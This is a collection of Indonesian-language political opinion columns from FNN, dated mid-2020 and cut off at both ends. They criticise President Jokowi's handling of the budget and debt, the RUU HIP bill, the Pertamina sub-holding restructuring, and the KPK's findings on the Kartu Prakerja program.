juga digunakan oleh Gugus Tugas Percepatan Penanganan Covid-19 Nasional dan Daerah (Lihat suara nasional, 30/6/2020). Tepat, sebab tanpa koreksi dari Menkeu ini. Tanpa koreksi ini, Gugus Tugas yang sejauh ini terlihat habis-habisan bekerja membimbing masyarakat, dan menantang bahaya sergapan Corona, bisa terluka oleh pernyataan Presiden itu. Marah karena minimnya serapan anggaran, jelas logis. Tetapi tidak menunjuk batang hidung. Dasar yang jelas, tidak pernah bisa dibilang pantas, apalagi bijak. Meremehkan pembantu dengan cara seangkuh itu, justru mengundang cemohan merendahkan. Keangkuhan tak pernah menghasilkan kehormatan dan kemuliaan. Kehormatan, boleh jadi akan datang menyapa melalui jalan penghentian pelebaran defisit anggaran yang telah menembus angka Rp. 1.028,5 triliun. Menghentikan defisit gila-gilaan ini, sama dengan menyelamatkan kehormatan republik tercinta ini dari cengkeraman utang rentenir Internasional. Defisit ditutup dengan utang, utang dan utang. Padahal utang pemerintah menurut ini Anthony Budiawan telah mencapai Rp. 5,172, 48 trilyun (Lihat Kedaipena.com, 30/6/2020). Terus-terusankah republik ini mengagungkan politik defisit dan hutang tersebut? Presiden cukup layak memanggil kehormatan dan kemuliaan untuk dirinya sendiri. Caranya, melalui perubahan postur politik defisit dan utang ini. Suka atau tidak, UUD 1945 memberi tanggung jawab dan kewenangan menentukan politik anggaran pada presiden. Bukan pada menteri. Ada konsekuensi? Jelas ada. Bank Dunia dan IMF akan mencibir. Hanya segitu. Bisa Dipenjarakan Dalam kenyataannya, republik ini memang tidak memperkirakan semua cara kotor bakal tenggelam bersamaan dengan eksisnya republic. Sejarah telah begitu terang menunjukan republik-repuiblik lain mengalami patahan, hanya oleh satu sebab. Sebabnya itu adalah penguasa tidak tertib dalam membaca perintah etis republik yang dinyatakan terulis di dalam konstitusi. Sejarah cukup terang menunjukan, kalau hukum penguasa terlalu sering mengenal hukum hanya hanya dari kulitnya saja. Hukum digunakan melampaui fungsi etisnya. Itu membawa akibat hukum dipakai, dalam sejumlah republik terdahulu, termasuk Indonesia pada periode Orde Lama dan Orde Baru, sebagai alat pembenaran dan penyangga ambisi-ambisi tak rasional dari penguasa. Republik lalu menjadi sangat liberalistic. Otoritarian juga fasis, dan hukum selalu menyandang peran krusial. Toh hukum itu bergantung sepenuhnya pada pemegang kekuasaan. Setiap waktu penguasa dapat menggunakan hukum memunggungi misi-misi tersembunyi dari penguasa. Tak selalu sukses menjaga agar hukum bekerja sesuai taklimat etisnya, telah menjadi kelemahan lain dari republik. Hukum mengabdi pada kemauan dan kepentingan segelintir orang. Itu juga yang tersaji pada daftar kelemahan dari republik. Ketakutan terhadap kehilangan kekuasaan, teridentifikasi pada sejumlah republik-republik terdahulu di belahan dunia lain, sebagai rangsangan yang melemahkan republik. Itulah paradoksnya. Mengapa? Datang dengan misi menjinakan setiap ambisi kotor, tetapi pada saat yang sama, republik tak selalu sukses merealisasikan ambisi hebatnya itu. Pada titik inilah, muncul satu kenyataan menarik. Kenyataan itu adalah pernyataan Menkeu Sri Mulyani tentang menteri-menteri memiliki ketakutan terhadap konsekuensi hukum dari sejumlah kebijakan mereka. Ini adalah katakutan yang sangat logis dan manusiawi. Logis juga jalan pikiran Menkeu, yang dengan terang menyatakan akuntabilitas selalu harus ditampilkan pada setiap situasi. Akuntabilitas memang menjadi misi wetis terbesar republik. Setiap waktu, misi ini harus diletakan di atas meja setiap kebijakan. Kontrasnya republik, telah terlalu sering memperlakukan akuntabilitas dalam rasa liberalistic. Dalam rasa ini akuntabilitas diprtalikan semata-mata dengan hukum. Hukum jadinya tidak lebih dari sekadar instrumen pembenaran atas tindakan-tindakan bercitarasa liberalistik. Pantas dan tidak pantas, ditarik dan dipertalikan semata-mata pada citarasa dan ekspektasi liberalistik. Tidak lebih dari itu. Ini sangat berbahaya. Mengapa? Out put tindakan itu, tidak pernah sungguh-sungguh dapat dinikmati oleh semua orang. Patuhi hukum, akhirnya terdefenisikan semata-mata sebagai mematuhi huruf-huruf hukum. Itulah yang liberalisme nyatakan melalui doktrin rule of law yang kering. Yang terus-terusan dikampanyekan World Bank dan multinational corporation. Sama sekali tak salah, tetapi sejarah orang-orang besar adalah sejarah tentang kearifan membangun. Sejarah ini menyediakan mozaik lain. Sejarah mereka tidak pernah jauh dari tertib mempertalikan aspek-aspek formal, ekonomi dan non ekonomi sebagai cara mengagungkan kemanusiaan. Hukum di mata mereka, tidak pernah sama dengan hukum khas liberalisme. Hukum diagungkan dengan pertimbangan-pertimbangan etis. Tujuannya untuk memuliakan semua manusia. Itu sebabnya hukum dijauhkan sejauh mungkin dari kebiasaan liberalistic. Kebiasaan yang menjadikan hukum alat menciptakan keuntungan bagi segelintir orang. Juga menopang pembangunan ekonomi semata. Orang-orang besar itu tahu bahwa republik memuliakan mereka. Bukan karena mereka cerdas mengalihkan dan mengelabui rakyatnya. Tertib berkata dan tertindak, dengan panduan etis hanya demi kesejahteraan seluruh rakyatnya, adalah fundasi republik memberi hormat dan memuliakan mereka. Walau sering gagal, tetapi spirit etis republik mengharuskan Presiden untuk tak takluk pada orang kaya. Siapapun mereka dan apapun kontribusi mereka. Itu karena para perancang republik diberitahu sejarah. Setidaknya menurut Niccolo Machiavelli, orang kaya selalu menjadi masalah direpublik Romawi kuno. Dan saya berpendapat bahaya itu terus terlihat hingga kini. Presiden selalu harus tepat merancang arah, strategi dan cara merealisasikan pesan-pesan etis republik. Itu sebabnya republik menopang Presiden dengan begitu banyak mata dan telinga di sekitarnya. Tujuannya sederhana, Presiden selalu punya data mutakhir yang terkonfirmasi pada saat mempersiapkan kebijakan dan merespon perkembangan. Rancanglah kebijakan dan ambisi itu dengan cara yang tepat. Jangan asal. Dilarang ngawur dalam mengurus Negara. Republik memungkinkan Presiden marah. Lakukanlah itu dengan panduan yang etis ala republik. Dengan panduan etis pula, Menteri, Dirjen, Sekjen dan Direktur harus bekerja dengan sungguh-sungguh. Sungguh-sungguh dalam bingkai kehormatan dan kemuliaan diri dan keluarga mereka. Pembaca FNN yang budiman, menteri harus takut pada presiden, tetapi itu harus sekadarnya saja. Pupuklah energi takut itu hanya pada Allah Subhanahu Wata’ala. Kemuliaan tidak lahir dari jabatan. Kemuliaan adalah buah ketakutan pada sang Khaliq, Maha Pencipta alam semesta ini, yang mengendalikan nafas setiap mahluk. Pak Menteri, Pak Sekjen, Pak Dirjen dan Pak Direktur, taatilah hukum. Itulah yang republik minta dan andalkan dalam mengejar impiannya. Penjara tak pernah enak dalam semua aspeknya. Ingat itu baik-baik. Presiden telah persilahkan aparat hukum menggigit pejabat yang punya niat korupsi. Peringatan ini bagus. Bukan peringatan yang ngawur. Patuhilah baik-baik peringatan itu. Perbesarlah energi taat. Sekali lagi, hanya kepada Allah Subhanahu Wata’ala. Selain itu, juga patuhi hukum agar tuan-tuan dan nyonya, bahkan anak istri tuan-tuan tidak tertunduk susah, kelak disuatu hari nanti. Lebih baik dimarahi Presiden, daripada melanggar hukum lalu tinggal di dalam penjara. Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Meski Jokowi Marah, Demo RUU HIP Tidak Goyah

by Tony Rosyid Jakarta FNN – Rabu (01/06). Tanggal 18 Juni 2020 Jokowi kumpulkan para menterinya. Jokowi marah-marah. Jokowi kecewa terhadap kinerja para menterinya. "Saya jengkelnya disitu. Kenapa nggak punya perasaan... ", kata Jokowi. Tanggal 28 Juni 2020, video kemarahan Jokowi dipublish. Gimana respon publik? Pro-kontra itu pasti. Sebagian menganggap kalai itu hanya acting. Sebuah pencitraan semata. Itu sah-sah saja. Namanya juga orang berpendapat. Nggak ada yang melarang. Apalagi Jokowi selama ini dikenal sebagai presiden yang sangat pandai dan sukses memainkan pencitraan. Tak sedikit yang berpendapat bahwa sikap Jokowi kali ini benar-benar memenuhi unsur kemarahan. Pertama, lihat ekspresi wajahnya. Tegang. Tak seperti biasanya. Kedua, gestur tubuhnya, seperti mau gebrak meja. Ketiga, pilihan kata-katanya. Tak beraturan dan diulang-ulang. Keempat, lihat tekanan suaranya. Nadanya agak tinggi dan naik turun. Kelima, pidatonya singkat, berakhir cepat dan seperti belum tuntas. Ini adalah ciri umumnya orang kalau sedang marah. Seandainya ini acting, berarti ini acting tingkat dewa. Kalau diperhatikan di video itu, cukup memenuhi syarat orang marah. Tapi, kenapa harus dipublish? Kalau menggunakan standar etika, memang kurang pas. Lebih tepat kalau tidak dipublish. Jauh lebih etis lagi, panggil menteri-menteri yang belum bagus kinerjanya, lalu kasih masukan, target dan warning. Tidak saja ini langkah bijak, tapi juga efektif. Tapi, ini bukan soal etis atau tidak etis. Sebagai politisi, sikap yang diambil Jokowi dengan memviralkan video kemarahannya, tentu tak bisa lepas begitu saja dari target politik. Apa itu? Boleh jadi pertama, Jokowi ingin memberi kesan ke publik bahwa negara ini sedang krisis, dan Jokowi sedang kerja keras untuk mengatasi krisis ini. Kedua, krisis ini bukan semata-semata hanya karena presiden. Tetapi juga diakibatkan oleh lambatnya kinerja para menteri, Mereka para menteri yang berkontribusi besar terhadap krisis negara ini. Kalau soal ini, leadership Jokowi dapat kritik dari banyak pihak. Ketiga, pesan kepada mereka yang mengendorse para menteri. Baik itu kepada partai, ormas, lembaga atau perorangan, bahwa menteri-menteri yang kalian rekomendasikan tidak bisa bekerja dengan baik. Karena itu, kalian harus maklum jika terpaksa saya diganti. Kemarahan Jokowi ini, tentu tidak hanya menggusarkan para menteri. Tetapi boleh jadi juga partai pngusung, ormas, lembaga, mungkin para pengusaha juga ikut was was. Jangan-jangan orang yang gue rekomendasikan bakal digusur dari kabinet. Gawat! Kira-kira begitulah. Bukan rahasia umum. Jajaran menteri di awal presiden menjabat akan diisi oleh orang-orang yang dianggap banyak peran dalam pemenangan di pilpres. Baik sebagai timses maupun penyedia logistik. Semacam balas budi. Setelah tiga-enam bulan, paling lama dua tahun, beberapa akan diganti dalam resuffle kabinet. Hanya yang kuat endorsernya yang akan dipertahankan. Siapa mereka? Orang-orang dari partai. Ini untuk memperkuat koalisi di parlemen. Tentu saja mengecualikan menteri keuangan, ekonomi dan luar negeri. Tiga kementerian ini butuh sosok yang betul-betul profesional. Selain menteri sekretaris negara yang biasanya diisi orang yang sangat dekat dengan presiden. Yang lainnya? Bisa dikocok ulang. Suka-suka presiden. Apakah viralnya vedio kemarahan Jokowi tersebut, ada kaitan dengan maraknya demo terhadap RUU HIP? Pengalihan isu maksudnya? Secara politik, tentu tak bisa diingkari. Ingat, RUU HIP itu menyasar Dewan. Sudah mulai mengerucut ke satu fraksi. Bukan ke Jokowi. Walaupun jika situasi nggak kondusif, bisa juga merembet ke Jokowi. Tentu, intelijen kerja. Keadaan sudah bisa diukur. Semua data sudah ada di tangan. Sebagai presiden, Jokowi wait and see. Sambil mengontrol situasi. Tak kalah pentingnya, Jokowi akan memperhatikan bagaimana PDIP sebagai sasaran tembak kasus RUU HIP menghadapi situasi ini. Kalau kewalahan, toh akan minta bantu ke Jokowi. Disini, kredit poin Jokowi bertambah satu lagi di mata PDIP. Terhadap PDIP, Jokowi di atas angin. Setidaknya, ini bisa memperkuat posisioning Jokowi terhadap PDIP. Proses bergaining akan jalan. Apakah video "kemarahan Jokowi" bisa menggeser isu RUU HIP? Sepertinya tidak. Sekalipun nanti akan ada resuffle kabinet. Isu RUU HIP tetap mendominasi berita. Hampir setiap hari umat Islam di daerah turun ke jalan. Mereka demo. Bukan hanya menuntut RUU HIP dibatalkan. Namun juga mengusut para oknum yang berada di balik RUU HIP. Kata "usut" menjadi kunci. Bisa memberi peluang demo berjilid-jilid. Boleh jadi akan sangat panjang. Karena punya sasaran yang tak mudah ditaklukkan. Viralnya video kemarahan Jokowi nampaknya baru pemanasan. Terbuka kemungkinan akan ada isu-isu lain yang lebih dahsyat. Apa itu? Kita lihat nanti. Apakah akan mampu menggeser isu penolakan terhadap RUU HIP. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Sub Holding, Pintu Oligarki Licik dan Culas Kuasai Pertamina

by Salamuddin Daeng Jakarta FNN – Rabu (01/07). Kebijakan sub holding anak perusahaan Pertamina sebenarnya bukan rencana baru. Namun telah direncanakan sejak awal pemerintahan Jokowi. Kebijakan ini pada dasarnya adalah usaha memisahkan asset inti, atau asset yang oleh kalangan pertamina menyebutnya sebagai asset operasional dari induk perusahaan. Dengan dipisahkan, maka asset itu dapat dikuasai atau dikontrol oleh swasta yang menjadi pemegang saham di anak perusahaan Pertamina tersebut. Rencana subholding anak perusahaan Pertamina sebelumnya telah dimulai dengan menjadikan Pertamina Persero sebagai holding companies. Sebagaimana digambarkan dalam laporan PWC, september 2019, bahwa pada tahun 2018 lalu Pertamina telah menjadi perusahaan induk untuk BUMN Minyak dan Gas Bumi. Menyusul penerbitan PP 6/2018 dan penunjukan PT Pertamina (Persero) sebagai perusahaan holding milik negara untuk minyak dan gas. Dimulai Dari Kasus PGN Melalui PP tersebut, kepemilikan Pemerintah Indonesia di Perusahaan Gas Negara (PGN) dialihkan ke PT Pertamina (Persero) pada April 2018. Selanjutnya, PGN mengakuisisi 51% saham PT Pertamina Gas dari PT Pertamina (Persero) pada bulan Desember 2018. Setelah akuisisi selesai, Pertamina dan PGN sepakat untuk mengintegrasikan dan merampingkan bisnis distribusi gas, yang sebelumnya dimiliki oleh PGN PT Pertamina Gas (Pertagas) anak perusahaan Pertamina. Pada Desember 2018, PGN mengakuisisi 51% saham pengendali Pertamina di Pertagas, dan menjadi entitas sub-holding untuk operasi gas. Dokumen konsultan hukum swasta yang dipercaya menangani pebentukan holding ini menyebutkan, bahwa terbentuknya BUMN migas Indonesia merupakan sebuah kesepakatan yang bernilai U$ 4 miliar dollar. Menghasilkan pembentukan perusahaan induk milik negara terbesar di Indonesia. Dikatakan bahwa prosesnya dilakukan melalui skema pengalihan saham Pemerintah Indonesia goIongan saham Kelas B di Perusahaan Gas Negara (PGN) dipindahkan ke Pertamina. Pemindahan ini menghasilkan tambahan U$ 2,7 miliar dollar atau setara dengan Rp. 38 triliun modal yang dimiliki oleh Pemerintah Indonesia di Pertamina. Tahap berikutnya asset PT Pertamina Gas (Pertagas) milik Pertamina dialihkan ke PGN dengan harga beli U$ 1,35 miliar atau setara dengan Rp. 20 triliun. Kementerian BUMN menyimpulkan, partisipasi modal negara terbesar dalam sejarah Pemerintah Indonesia, berjumlah total Rp 58 triliun. Proses pat gulipat asset yang belum pernah dilakukan dalam sejarah migas di tanah air. Kasus sub holding PGN membawa pada kesimpulan bahwa asset pertamina Pertagas telah dijual. Sebagaimana diketahui bahwa PGN adalah BUMN terbuka yang sebagian sahamnya dimiliki oleh swasta. Dengan diakuisinya saham PGN oleh Pertamina, maka pihak swasta yang ada dalam PGN menikmati suntikan dana dari Pertamina. Selanjutnya dengan beralihnya Pertagas, anak perusahaan Pertamina kepada PGN, maka ini swasta dalam PGN telah mengontrol dan menguasai asset distribusi gas terbesar di tanah air. Asset yang sangat vital karena menyangkut hajat hidup rakyat banyak. Menular ke Anak Perusahaan Lainnya Tidak banyak yang menyadari bahwa Pertamina holding compnies telah terbentuk sejak April 2018 lalu. Ketika Pertamina milik negara menerima 56,96% saham PGN senilai Rp. 38,1 triliun rupiah atau U$ 2,7 miliar dollar. Transaksi ini terjadi ketika Menteri BUMN masih dijabat Rini Soemarno. Sebab Rini yang menandatangani akta pengalihan kepemilikan. “Dengan penandatanganan akta tersebut, berarti perusahaan induk minyak dan gas sekarang telah didirikan secara hukum," ujar Fajar Harry Sampurno, Deputi Menteri BUMBN bidang Industri Pertambangan dan Strategis kepada wartawan di Jakarta. Menjadikan Pertamina sebagai induk Holding, didasari diterbitkannya PP No. 6 Tahun 2018. Pemerintah meresmikan pendirian sebuah perusahaan induk BUMN di sektor minyak dan gas. Menggabungkan bisnis PGN dengan Pertamina dan menunjuk Pertamina sebagai perusahaan induk BUMN yang melayani industri minyak dan gas. Pada bulan Februari 2018, Pertamina menjadi pemegang saham utama PGN, dengan mengakuisisi 56,97% saham Pemerintah yang dikuasai sementara, dengan PGN tetap menjadi perusahaan publik. Berdasarkan peraturan tersebut, pemerintah mengintegrasikan perusahaan gas melalui skema penyerahan aset (inbreng). Tidak ada transfer tunai yang terlibat. Akibatnya, pemerintah dikecualikan dari proses tender untuk saham PT. PGN yang dimiliki oleh public. Padahal proses ternder dipersyaratkan oleh Peraturan Pasar Modal. Kasus akuisi saham PT. PGN menjadi pintu masuk terbentuknya sub holding holding anak perusahaan Pertamina lainnya. Pertamina akan bertindak sebagai entitas induk dari perusahaan minyak & gas milik negara. Selanjutnya berdasarkan analisis para pengamat, sejak tahun 2018 lalu, Perusahaan induk akan terdiri dari empat sub kepemilikan (sub holding), yaitu, Hulu, Pemrosesan, Ritel dan Gas. Dengan demikian bukan hanya PT. PGN yang akan menjadi sub holding. Namun juga anak perusaan inti dalam seluruh rantai pasokan pertamina. Jadi jelas, ini telah direncakan secara matang. Terbentuknya sub holding PGN+pertagas merupakan sukses story pemindahan asset yang sebelumnya dikontrol 100 persen oleh pertamina yakni Pertagas. Kini berada dibawah kontrol swasta yang menjadi pemegang saham di PT. PGN. Suksestory ini juga berarti pemerintah sukses menjual asset pertamina kepada pemegang saham swasta di PGN atau dapat dikatakan sukses menjual asset pertamina kepada swasta. Benar Pertamina Dijual ? Meskipun terjadi reshuffle Kabinet, dan menteri BUMN yang baru dalam Kabinet Jokowi jilid II, namun tampaknya rencana untuk memisahkan asset inti pertamina melalui sub holding terus saja berlanjut. Rencana ini tampaknya menjadi prioritas dari oligarki yang berkuasa saat ini. Asset pertamina diharapkan akan menjadi tempat bagi permainan para oligarki mengeruk keuantungan. Rencana tersebut menjadi motivasi utama Menteri BUMN selaku penguasa Rapat Umum Pemegang Saham Perusahaan PT Pertamina (Persero) menerbitkan Surat Keputusan Nomor: SK-198/MBU/06/2020 tanggal 12 Juni 2020 tentang Pemberhentian, Perubahan Nomenklatur Jabatan, Pengalihan Tugas, dan Pengangkatan Anggota-anggota Direksi Perusahaan. Melalui SK tersebut diatas ditetapkan beberapa hal. Misalnya, mengubah nomenklatur jabatan anggota-anggota Direksi PT Pertamina (Persero). Delapan direktur dalam organisasi pertamina sebelumnya dibubarkan. Selanjutnya digabungkan ke dalam tiga direktorat yakni, Direktur Penunjang Bisnis, Direktur Logistik & lnfrastruktur dan Direktur Strategi, Portofolio, dan Pengembangan Usaha. Kebijakan Menteri BUMN ditindaklanjuti SK Direktur Utama Pertamina nomor Kpts-18/C00000/2020-S0, yang salah satu keputusanya adalah membentuk dan menetapkan bub holding anak perusahaan PT pertamina Persero yang terdiri dari sub holding upstream, sub holding refining dan petrochemical, subholding commercial and trading, sub holding gas, sub holding power and NRE, dan shipping co. Pembentukan sub holding anak perusahaan inilah yang mejadi tujuan sebenarnya dari perubahan susunan organisasi Pertamina. Karena dengan terbentuknya sub holding, maka terbukalah peluang perusahaan untuk melantai di bursa saham, sebagaimana yang telah terjadi dengan PT. PGN. Secara terbuka Menteri BUMN Erick Thohir melalui berbagai media menyatakan, target khusus yang dibebankan pada jajaran direksi baru Pertamina yaitu satu atau dua anak usaha Pertamina harus mampu melakukan Initial Public Offering (IPO) dalam dua tahun ke depan. "Ini ada KPI-nya, salah satunya dalam dua tahun harus go public. Harus ada yang IPO," ungkap Eric dalam Konferensi Pers, Jumat (12/6). Sehingga anak perusahaan lainnya sama seperti PGN sekarang. Pernyataan menteri BUMN disambut Direktur Utama PT Pertamina (Persero) Nicke Widyawati, yang mengatakan, nanti dua anak usaha dari dua sub holding akan dilepas ke lantai bursa. Dua anak usaha sub-holding ini nantinya membantu operasional sub-holding Pertamina. (Senin 15 Juni 2020 ). Jadi, dalam periode kedua pemerintahan Jokowi ini akan terjadi perubahan yang yang mendasar. Tidak sebatas perubahan bentuk dan susunan organisasi Tertamina saja. Namun akan mengubah seluruh haluan usaha perminyakan di tanah air. Pertamina cepat atau lambat akan berbagai kekuasaan dengan swasta dalam seluruh rantai usaha mereka. Mulai dari hulu, pengolahan, ritel, hingga pasar keuangan. Bukan hanya itu. Ini adalah memutar jarum sejarah kembali kepada pemisahaan atau unbundling usaha usaha migas. Padahal sejarah usaha migas Indonesia dan sejarah Pertamina adalah sejarah penyatuan dari serpihan- serpihan perusahaan minyak yang direbut dari tangan penjajah. Lebih dari itu, ini adalah sejarah perjuangan kemerdekaan yang berhasil merebut ladang ladang minyak, kilang-kilang minyak milik kolonial. Sejarah ini tampaknya hanya akan tinggal kenangan. Karena aset asset tersebut akan segara jatuh ke tangan oligarki licik dan culas. Akan diabadikan bagi sebesar besarnya keuntungan, yang akan dibagikan pada pribadi dan golongan. Jika rencana ini terus berlanjut, maka akan menjadi proyek penjarahan asset negara yang paling bernilai. Yang nantinya akan menjadi sandaran keuangan bagi supremasi oligarki Indonesia. Paling tidak hingga Pemilu 2024 mendatang. Penulis adalah Peneliti Pada Asosiasi Ekonomi dan Politik Indonesia (AEPI).

RUU HIP Blessing in Disguise

by M. Rizal Fadillah Jakarta FNN – Rabu (01/07). "Blessing in disguise". Terjemahan sederhananya keuntungan tersamar. Sesuatu yang mungkin awalnya dianggap buruk, namun ternyata mengandung kebaikan. Sesuatu yang didapat diluar dugaan atau tidak direncanakan. Datangnya dari dari arah yang tidak disangka-sangka. Bahasa agamanya "min haitsu la yahtasib". Peristiwa politik kinian, khususnya soal Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP) adalah hikmah di tengah bencana. Ada "blessing in disguise" disana untuk bangsa Indonesia dari "skandal" ini. Paling kurang ada empat hal yang menonjol. Pertama, pesan kepada yang biasa teriak-teriak "saya Pancasila". Ketika Pancasila diganggu dan terancama, ternyata mereka diam saja. Meraka inilah kaum munafikun yang sejatinya. Kedua, umat Islam yang selama ini sudah terbiasa dipojokkan sebagai yang anti Pancasila. Sekarang justru terbukti yang berada paling depan dalam membela Pancasila dari ancaman dan gangguan “gerombolan Trisila dan Ekasila”. Ketiga, umat Islam menjadi bersatu. MUI, NU, Muhammadiyah, Persis, DDII, Al-Irsyad, PUI, Matlaul Anwar, Alwshiliyah dan lainnya satu sikap. Kekuatan umat tergalang dengan sangat baik, dari pusat maupun daerah. Keempat, terkuak platform perjuangan PDIP yang sejatinya. Platform yang dapat melemahkan, atau berpotensial mengubah dan membahayakan Pancasila. Ada Trisila dan Ekasila versi Pancasila 1 Juni 1945. Ini tidak bisa didiamkan terus-menerus begitu saja. Awalnya tentu percaya diri PDIP sebagai pengusul untuk dapat melalui proses tahapan menuju RUU tanpa hambatan. Mayoritas fraksi DPR bisa dilobby. Saat ketuk palu di paripurna yang dinilai cacat hukum pun tidak ada yang memprotes. Semua mulus-mulus saja. Setelah menjadi RUU, barulah menggelombang aksi protes dari masyarakat. Berbagai pernyataan sikap dikeluarkan oleh elemen-elemen masyarakat, terutama umat Islam. Penolakan yang sangat luar biasa dan masif. Isu RUU HIP beraroma PKI dan faham komunisme terus menggema. PDIP kalang kabut menjadi tertuduh, bahkan bisa menjadi tersangka. Pandangan agama "blessing in disguise" adalah kebenaran yang sesuai dengan rencana Allah. Artinya, makar yang direncanakan dan disiapkan manusia, belum tentu terealisasi. Dapat saja berantakan di tengah jalan. "wa makaruu wa makarallah, wallahu khoirul maakiriin" (Mereka punya makar dan Allah punya makar pula. Dan Allah lah sebaik-baik pembuat makar)--QS Ali Imron, ayat 54. RUU HIP sejak awal adalah makar (rencana) itu. Namun Allah SWT juga tunjukkan akan makar-Nya. Kini terbukti makar Allah sedang berjalan. Kita akan melihat betapa hebatnya Allah membuka kedok makar manusia, gerombolan Trisila dan Ekasila tersebut. Ingat, Allah itu sebaik baik pembuat makar (rencana). "Blessing in disguise" bagi orang yang beriman adalah bukti-bukti. Umat Islam sepanjang berjuang keras di jalan-Nya, maka akan ada banyak menerima "blessing in disguise". Itu pasti dating. Oleh karenanya, pada bidang apapun di samping melakukan langkah kalkulatif mengikuti hukum sebab akibat. Namun mesti mendapatkan dan kejar pula "karunia Allah yang tak terduga" tersebut, melalui sebab perjuangan yang berani dan bersungguh-sungguh. "Walladziina jaahaduu fiinaa lanahdiyannahum subulanaa" (Dan mereka yang bersungguh-sungguh berjuang di jalan Allah, maka pasti Allah akan membukakan jalan-jalan-Nya)--QS Al Ankabuut 69. "Nashrun minallah, wa fathun qariib" (Pertolongan itu dari Allah dan kemenangan pun dekat)---QS AS Shaff 13. Penulis adalah Pemerhati Politik dan Kebangsaan.

Republik Ini Terus Saja Amburadul

by Dr. Margarito Kamis SH. M.Hum. Jakarta FNN – Selasa (30/06). Republik dirancang untuk merealisasikan banyak harapan. Tetapi semua harapan itu berinduk hanya pada satu hal, “menghadirkan kebaikan”. Kebaikan buat semua orang yang ada di dalamnya. Dengan mengatakan kebaikan buat semua orang yang ada di dalamnya, republik menyangkal pengistimewaan pada orang dan kelompok, siapapun mereka, atas dasar apapun. Sejarah berputar membawa republik mendatangi setiap sudut dunia, termasuk Indonesia. Menariknya disana sini disudut-sudut dunia terjadi gerak menurun, menanguhkan kebaikan untuk semua orang. Indonesia misalnya, seperti beberapa negara lain, juga mengalaminya. Kali ini, ditengah corona yang sangat intimidatif, pemerintah terlihat tak andal. Kebijakan-kebijakan pemerintah, disana sini justru terlilit masalah. Terlihat republik bergerak menjauh dari keadilan sosial. Kesejahteraan masyarakat yang hendak disajikan republik, juga semakin tak memadai. Kemerosotan tajam keadilan dan kesejahteraan sosial itu menganga dalam setiap penglihatan. Korporasi Tetap Berjaya Kata Presiden pembayaran tunjangan dokter, dokter spesialis, untuk tenaga medis, segera keluarkan. Belanja-belanja untuk peralatan segera keluarkan. Segera stimulus ekonomi bisa masuk ke usaha kecil, usaha mikro. Mereka nunggu. Jangan biarkan mereka mati dulu baru kita bantu. Ngga ada artinya (RMol, 29/6/2020). Salah urus, mungkin tidak tepat dialamatkan pada pemerintahan ini. Mungkin. Tetapi pernyataan Presiden pada rapat kabinet terbatas beberapa hari lalu, jelas substansinya. Anggaran sektor kesehatan, sekadar ilustrasi sebesar Rp. 75 trilyun, sejauh ini baru dibelanjakan sebesar 1,36%. Bagaimana dengan orang yang kehilangan pekerjaan? Ini memang tak disinggung Presiden. Boleh jadi itu disebabkan mereka ini, segelintir di antaranya telah ditolong dengan berbagai cara. Salah satunya melalui kartu pra kerja. Pemegang kartu ini dilatih negara, melalui sejumlah korporasi. Pelatihan ini dibiayai dengan uang negara yang jumlahnya lumayan besar. Indah hanya dalam ucapan, itulah yang bisa dipetik dari temuan KPK atas proyek ini. Masalahnya terlihat meliputi hamper seluruh aspek pelaksanaan proyek ini. Dalam identifikasi KPK, 5 dari 8 platform pelaksana proyek ini memiliki konflik kepentingan. Penggunaan fitur face recognition untuk kepentingan pengenalan peserta dengan anggaran Rp. 30,8 miliar tidak efisien" ungkap Alexander Marwata. Materi pelatihan teridentiikasi bermasalah. Pak Alexander, Komisironer KPK menegaskan metode pelaksanaan pelatihan beroptensi fiktif. 327 dari 1895 materi pelatihan yang dijadikan sampel dibandingkan dengan ketersediaan materi itu di jejaring internet, diperoleh hasil adalah 89% materi pelatihan tersedia di internet dan tidak berbayar. Cukup menarik, KPK menemukan kenyataan lembaga pelatihan telah menerbitkan sertifikat meskipun peserta belum menyelesaikan keseluruhan paket pelatihan yang telah dipilih. Sungguh eksplosif, KPK menemukan kenyataan peserta telah diberi insentif meskipun belum menyelesaikan seluruh pelatihan yang sudah dibeli. Negara dalam kenyataannya, menurut temuan KPK ini, tetap membayar pelatihan yang tidak diikuti oleh peserta itu (Lihat Sindonews. Com, 18/6/2020). Hebatnya KPK tidak menemukan kerugian keuangan negara. KPK tentu saja tidak mendeteksi program lainnya. Program Bansos misalnya tidak diidentifikasi KPK. Program untuk orang-orang yang kesulitan hidup ini, di DKI Jakarta misalnya sempat mengundang soal. Program yang dalam sejarahnya diawali di Amerika Serikat tahun 1933 ini, memang bermaksud memunculkan tatanan baru bernegara ditengah krisis keuangan. Tetapi silang pendapat antara Pemda DKI dengan pemerintah pusat dalam merealisasikan program ini, jelas. Tatanan program ini, tidak kokoh. Terlihat tiba saat tiba akal. Sama pada level tertentu dengan kebijakan penyediaan insentif terhadap usaha mikro, kecil, dan supermikro yang jumlahnya jutaan. Kebijakan memperpanjang durasi waktu pembayaran kredit, berikut bunganya, memang berspirit republik. Reklaksasi sekitar 3,7 jutaan debitur yang didukung dana sebesar Rp. 123, 46 trilyun, memang telah telah dimanfaatkan oleh 1,25 juta debitur. Tetapin bagaimana dengan dua jutaan lebih yang tersisa? Bagaimana mereka? Belum jelas skemanya. BRI disisi lain, entah ditugaskan atau mengambil prakarsa sendiri, entah untuk menjaga pertumbuhan kredit atau mendukung upaya konstitusional pemerintahan, menyediakan kredit bagi ojek online. Mereka jadi target pemberian kredit. Besaran kreditnya berada pada kisaran Rp. 5-20 jutaan rupiah. Tepatkah kebijakan ini? Itulah soalnya. Ini terlihat sebagai kebijakan kritis. Akankah kebijakan-kebijakan ini berkontribusi mengubah secara signifikan penampilan ekonomi republik ini? Akankah kebijakan ini platform konstitusional di sektor ini? Apakah kebijakan tipikal benar-benar diletakan di meja prioritas kebijakan pemerintah? Itu soalnya. Daya lobi UMKM kalah menggigit dibanding korporasi. UMKM memang menyediakan 99% total lapangan kerja, dan menyerap tenaga kerja sebesar 97%. Tidak itu saja, total investasi mereka sebesar 58, 18%. Dilihat dari sisi GDP kontribusi mereka sebesar 60% (Lihat CNBCIndonesia, 19/6/2020). Sialnya sektor top ini hanya ditopang dengan dana sebesar Rp. 123, 46 trilyun. Jumlah ini lebih kecil dari utang PLN. Menurut Dirut PLN (Persero) dalam lima tahun terakhir PLN mencatat utang mendekati Rp. 500 trilyun. Setiap tahun PLN mencatat Utang Rp. 100 trilyun. Utang-utang ini terjadi karena PLN tidak punya duit, tetapi harus membiayi proyek yang sedari awal telah 